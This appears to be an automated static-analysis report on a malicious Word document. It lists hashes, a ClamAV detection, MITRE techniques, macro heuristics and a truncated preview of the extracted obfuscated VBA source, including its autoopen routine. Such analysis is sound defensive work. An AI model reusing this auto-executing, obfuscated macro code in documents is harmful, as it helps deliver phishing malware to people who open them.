Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 173bfd2764afe967…

MALICIOUS

Office (OLE)

166.9 KB Created: 2019-03-27 14:49:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 3db82dd0e17a3e9d81f5797242d60d27 SHA-1: 6ed3ab0a7c914f98d80dc017ec7b7624dc26a8f1 SHA-256: 173bfd2764afe967ce41bd1b4847bc2d92fc71e1b371faffbb28b4b87dbb3fe6
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. The presence of GetObject calls and the ClamAV detection strongly suggest malicious intent, likely to download and execute a secondary payload. The obfuscated nature of the VBA code prevents a more detailed analysis of its specific actions.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-6914419-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6914419-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29603 bytes
SHA-256: 7f82ecd3fd213662bfe91867629643427ac3df9aa3fde02b4ec5999f6adc7f6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RDBocZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "oDAAAUAA"
Attribute VB_Base = "0{6E750B8E-A477-4A1D-9E04-5D4CFF6007CE}{637F6BC2-A021-4491-96B3-96481CA6D00D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "nQAoAQAA"
Attribute VB_Base = "0{24EC43B5-FCAB-4EBC-878A-665B22DD9E97}{E3F8E927-FE7C-4A45-91DF-5A0EEBEA3F5D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wZQCwBU"
Function GU1AkUD()
   If d_xUUDA = tAAUwBDD Then
Go_CkA = iQAABwAA - Atn(954615386) / rGA4xA4U - Hex(kBQ4ZDQ + _
Sqr(327148707) - DCx4ZAD * CSng(130014762)) + (133347611 + _
CSng(939831237 / 208927739 + 462771354 * Atn(859228405))) + XxZoDA / Fix(HAXAQCA + Round(229506408) / cX1AAAU * 908264297)
End If
   If SxADAZ = VAAUAU Then
L_ZA_CA = DA4w_UA - Sgn(375267528) / sDA1_ZkQ - CByte(QDUwD1UA + _
Fix(272376357) - NDGxCCcQ * CStr(384797926)) + (421972651 + _
Log(852654172 / 436585890 + 186538935 * CDbl(965642028))) + pBkDQBwA / Int(wZ1UQwQ + Hex(162120550) / qBCAAU * 645024650)
End If
   If HAB4BAcA = YkDUcA Then
qwAckAQG = jG11AZ - CByte(446090663) / SD1ZwQ - Int(CAACD1A + _
Sgn(170319507) - rAkA11QX * Log(587619271)) + (624528242 + _
Oct(293642283 / 24371670 + 411665057 * Hex(908827788))) + fQA1DAUA / Sqr(tAZwAX + CInt(392579230) / mABAAA4A * 944424977)
End If
   If mxUA_AkU = v1A1xx Then
fXDDAAAG = i1koU1 - CDbl(419754708) / PAoGQAAk - CDate(I4wAABG1 + _
CDate(804619286) - zkBwxBc * CDate(582764159)) + (742445750 + _
CBool(516605074 / 299153786 + 332534705 * Fix(529760858))) + ZQZDAU / Sin(WZkkCZ + Sqr(922819053) / iABAAAAB * 715402341)
End If
   If w_BUQ_ = bZx_Ak Then
u1AUDkCD = z1AxUGU - CLng(480929258) / cCDoAQc - Oct(wZ1UQBUC + _
Rnd(503809050) - EZAxZkA * Cos(30851)) + (632461583 + _
Sin(480666704 / 344906370 + 348757532 * CStr(502779729))) + zQA4cQC / Sgn(QAGAAk + Sin(887143637) / PowABA * 620357146)
End If
   If OQADDUB = vDoAxXA Then
R_oAGQZA = Lc4Qo1 - Atn(30355469) / M_wkQQ - CStr(vDBA1U + _
Rnd(743084403) - U44AAA41 * Log(979252717)) + (344296350 + _
CSng(171124069 / 911039988 + 817516320 * Hex(871877634))) + dAXAZGUD / Cos(CQQXkGAA + Hex(47638812) / cUA4XCA * 864862212)
End If
   If IBAUXZB = D1CAUAD Then
QUDUk1 = vQxACUX - Sgn(713851948) / DU4AAQZA - Cos(N4AQGU + _
CBool(748275554) - P441AD * CDate(895992642)) + (767657674 + _
Int(985801267 / 647557266 + 356889968 * CStr(579755940))) + PoAAD441 / Fix(m_AcCB + Cos(92068410) / QADAC_1 * 613119223)
End If
   If i4AQUocZ = JBAQwGUA Then
ExADoo = PX4_CBAQ - Cos(425180381) / EAAUAAA - CByte(UDAGAB + _
CDbl(947769299) - GkwZkAo * Sin(122709454)) + (458856371 + _
Sqr(983859781 / 180906117 + 404688585 * CInt(282686409))) + C_BGAA / Log(PAB4QQU + CLng(945417155) / NABACAX * 415396596)
End If
End Function
Sub autoopen()
On Error Resume Next
   If pAAkoAA_ = TUDDX_ Then
cAkQAA = JAoDQ4w - CDbl(663329727) / MccAAUCU - CStr(lxoUAAAA + _
Fix(936897539) - WQBBAA_ * CDbl(424635892)) + (366476402 + _
Cos(925976707 / 97027432 + 565136144 * CLng(388862070))) + hABwxoZ / CByte(bUAQwQQA + CDbl(147873810) / tUQD1C4w * 39044389)
End If
   If kAAAAQ = RXUCUACA Then
pDG4coo1 = BAGU1Zo - CInt(660438459) / N1AAAA_ - CInt(SkU1A4D + _
Cos(540585250) - owGBZxG * Sin(870381413)) + (744815834 + _
CLng(727235761 / 349859222 + 535282293 * CByte(362107904))) + nADBAG / Sgn(wAQAkA + CBool(479247943) / jAkQAAA * 95252784)
End If
   If KQkAAoQX = lA4C1k_ Then
dQ1AAAAQ = V4AQ4QAo - CDate(182658468) / RAwxo4 - CDate(GABZXAZX + _
Atn(711921791) - RoA1Dc * Fix(12739176
... (truncated)